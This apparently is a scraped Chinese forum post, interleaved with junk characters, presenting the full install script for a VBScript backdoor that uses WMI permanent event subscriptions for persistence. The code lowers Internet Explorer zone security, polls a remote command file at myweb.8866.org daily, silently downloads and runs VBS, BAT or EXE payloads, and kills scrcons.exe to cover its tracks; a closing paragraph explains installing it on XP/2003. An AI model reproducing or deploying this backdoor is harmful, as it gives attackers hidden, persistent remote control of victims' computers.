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完整的安装脚本代码如下:
3 j i5 ^7 ?$ T9 Q+ ACodz:
/ m/ F" ^$ ]3 A, ~% q'***以下为参数配置,请根据情况自行修改***'
% H7 H- B% I2 ?$ ?: y% M1 Gnslink="winmgmts:\\.\root\cimv2:" '名字空间' K" B7 `$ ?5 v, @( Y/ z
doorname="vbscript_backdoor" '记住后门的名字,卸载时需要' 5 T6 P' I2 y A* \, \* y
runinterval=86400000 '每天运行一次'
. f6 e2 x9 q% \3 K3 v7 acmdu="http://myweb.8866.org/cmd.txt" '命令文件的位置' ( I, G' E2 |; P- c
cmdw=4000 '文件下载超时时间' ~, L T; I" y
cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" '保存命令长度的键值名'
7 W9 i1 ?7 l* f'***参数配置结束***' 8 i3 c& t' o3 m( R; d& c) w: H4 Z- n
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createobject("WScript.Shell").regwrite cmdl,0,"REG_DWORD" / N, G: U( a# D0 t! V
, c2 G% ~! | d+ h& f( L'脚本后门核心代码'
! ~5 T2 V$ u! Nstxt="cmdu="""&cmdu&""":cmdw="&cmdw&":cmdl="""&cmdl&""" n error resume next:set shl=createobject(""WScript.Shell""):set aso=createobject(""ADODB.Stream""):set ie=createobject(""InternetExplorer.Application""):zone=""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"":set1=zone&""\1201"":set2=zone&""\1400"":set3=zone&""\CurrentLevel"":val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=""REG_DWORD"":shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate ""about""&"":blank"":ie.document.write ""<script>function whr(){return new ActiveXObject('WinHttp.WinHttpRequest.5.1')}</script>"":with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open ""GET"",cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case ""'vbs"":execute(rt):die:case "":bat"":aso.write .responsebody:aso.savetofile cd&""_.bat"",2:aso.close:shl.run chr(34)&cd&""_.bat"""""",0:die:case ""'wsh"":aso.write .responsebody:aso.savetofile cd&""_.vbs"",2:aso.close:shl.run ""cscript.exe """"""&cd&""_.vbs"""""",0:die:case ""exe"":case else die:end select:if ubound(cmds)<4 then die:end if:.open ""GET"",cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&"""""" ""&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(""winmgmts:\\.\root\cimv2:win32_process"").instances_:if lcase(ps.name)=""scrcons.exe"" then ps.terminate:end if:next:end sub"
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& @8 E. O4 s( T% I3 j' Z3 ^5 g'配置事件消费者'
; a, D# Z5 b, mset asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_ , B' u) { c( [$ P* H* G- x; S& Y
asec.name=doorname&"_consumer" 2 |% ^5 `7 @9 d4 p; B# @
asec.scriptingengine="vbscript"
5 _. {! D9 U, V2 l) _asec.scripttext=stxt 8 E. a* V2 @: K5 k. A1 O
set asecpath=asec.put_
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K; c! ^$ u; Y9 Q' V$ F) h'配置计时器'
( y2 r% E+ V+ r. g5 Q$ T& Mset itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_ 6 k' T4 a& m: o8 a! X* T/ ~
itimer.timerid=doorname&"_itimer"
8 b9 ~$ T: X t6 p5 zitimer.intervalbetweenevents=runinterval , M; j4 g) Y4 W9 S# A/ Z
itimer.skipifpassed=false
3 }3 x# k9 S8 a( j* _" S8 sitimer.put_
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'配置事件过滤器'
( ?, M5 D- i f' k& o- fset evtflt=getobject(nslink&"__EventFilter").spawninstance_
7 q5 m: F: D' V" }evtflt.name=doorname&"_filter"
$ K; x! @. O; ?1 V- G2 v# revtflt.query="select * from __timerevent where timerid="""&doorname&"_itimer""" ( {1 n- Z+ P+ n: Z
evtflt.querylanguage="wql"
4 d* k& l( R: e6 l& S! k7 P. K- Gset fltpath=evtflt.put_
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'绑定消费者和过滤器' 3 S8 ^" G4 L. t; ]) j3 W* s3 U
set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_
$ R9 P+ D- O( n9 ?fcbnd.consumer=asecpath.path
- @3 V! K" I6 G4 H. @fcbnd.filter=fltpath.path
; a* l' h1 P5 O' q2 C- Vfcbnd.put_
5 Y7 R8 u9 g( J5 T7 R
4 c! _: k9 e6 c0 W- O* P1 _wscript.echo "安装完成"
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8 x9 b9 w8 W" I与前一个永久事件处理过程不同的是,脚本后门的事件源是计时器,在每个名字空间都可以实例化并触发事件。所以,不一定要将ASEC安装到root\cimv2。特别是XP/2003,ASEC默认已经安装到root\subscription,只需要相应修改nslink的值,就可以安装脚本后门了 |
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